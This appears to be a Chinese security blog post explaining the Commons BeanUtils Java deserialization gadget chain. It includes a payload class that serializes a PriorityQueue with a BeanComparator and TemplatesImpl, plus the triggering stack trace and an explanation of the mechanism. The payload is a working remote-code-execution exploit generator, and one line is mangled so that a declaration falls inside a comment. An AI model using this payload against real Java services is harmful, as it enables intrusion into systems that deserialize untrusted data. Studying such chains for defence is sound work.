Skip to content
blogs of mekrina
Go back

Commons BeanUtils反序列化

Updated:
Edit page

CB1

就是CB2的弱化版本,使用默认的Comparator,依赖于CC

CB2(或者叫CB)

利用条件

CB >= 1.5, 截止目前最新版1.11.0还是可以打

payload

package payloads;

import org.apache.commons.beanutils.BeanComparator;
import utils.MyObjectFactory;
import utils.Reflection;
import utils.Serializer;

import javax.xml.transform.Templates;
import java.util.Comparator;
import java.util.PriorityQueue;

public class CB1 {
    public static void main(String[] args) throws Exception {
        Comparator comparator = (Comparator) Reflection.getInstanceByConstructor(Class.forName("java.lang.String$CaseInsensitiveComparator"), null, null);
// 初始化 BeanComparator        BeanComparator beanComparator = new BeanComparator("outputProperties", comparator);
        Templates templates = MyObjectFactory.getTemplatesImpl();
        PriorityQueue queue = new PriorityQueue(beanComparator);
        Object[] innerQueue = {templates, templates};
        Reflection.setFieldValue(queue, "queue", innerQueue);
        Reflection.setFieldValue(queue, "size", 2);
        Serializer.serialize(queue);
    }
}

堆栈

at com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl.getOutputProperties(TemplatesImpl.java:507)
at sun.reflect.NativeMethodAccessorImpl.invoke0(NativeMethodAccessorImpl.java:-1)
at sun.reflect.NativeMethodAccessorImpl.invoke(NativeMethodAccessorImpl.java:62)
at sun.reflect.DelegatingMethodAccessorImpl.invoke(DelegatingMethodAccessorImpl.java:43)
at java.lang.reflect.Method.invoke(Method.java:498)
at org.apache.commons.beanutils.PropertyUtilsBean.invokeMethod(PropertyUtilsBean.java:2170)
at org.apache.commons.beanutils.PropertyUtilsBean.getSimpleProperty(PropertyUtilsBean.java:1332)
at org.apache.commons.beanutils.PropertyUtilsBean.getNestedProperty(PropertyUtilsBean.java:770)
at org.apache.commons.beanutils.PropertyUtilsBean.getProperty(PropertyUtilsBean.java:846)
at org.apache.commons.beanutils.PropertyUtils.getProperty(PropertyUtils.java:426)
at org.apache.commons.beanutils.BeanComparator.compare(BeanComparator.java:157)
at java.util.PriorityQueue.siftDownUsingComparator(PriorityQueue.java:722)
at java.util.PriorityQueue.siftDown(PriorityQueue.java:688)
at java.util.PriorityQueue.heapify(PriorityQueue.java:737)
at java.util.PriorityQueue.readObject(PriorityQueue.java:797)

原理

CB1.5版本引入了BeanComparator这个类。 BeanComparator的compare方法会调用对象指定属性的getter方法

指定属性为outputProperties, 对象为templatesImpl, 就可以在比较的时候调用getOutputProperties方法,从而实现字节码加载以及类实例化。

compare和CC2、4中一样,可以由PriorityQueuereadObject方法进入

需要注意的是,默认情况下BeanComparator的内部comparator是CC中的类,如果不另外指定Comparator会导致CB链同时需要依赖于CC。所以这里可以选用任意的JDK内置的comparator,比如java.lang.String$CaseInsensitiveComparator

启发

从上面可以发现,虽然BeanComparator中导入了CC的类,但是在没有CC依赖的情况下,如果没有使用到这个CC类,仍然可以正常的反序列化,不会报错类不存在。因为类是在被使用到的时候才加载,加载的时候才会报错找不到。

而编译的时候会检查import的类是否存在,所以CB编译的时候依赖于CC,运行时可以不依赖。pom中可以选择CC的scope为provided,不会被打包进CB依赖项。

修复方案

暂未被修复


Edit page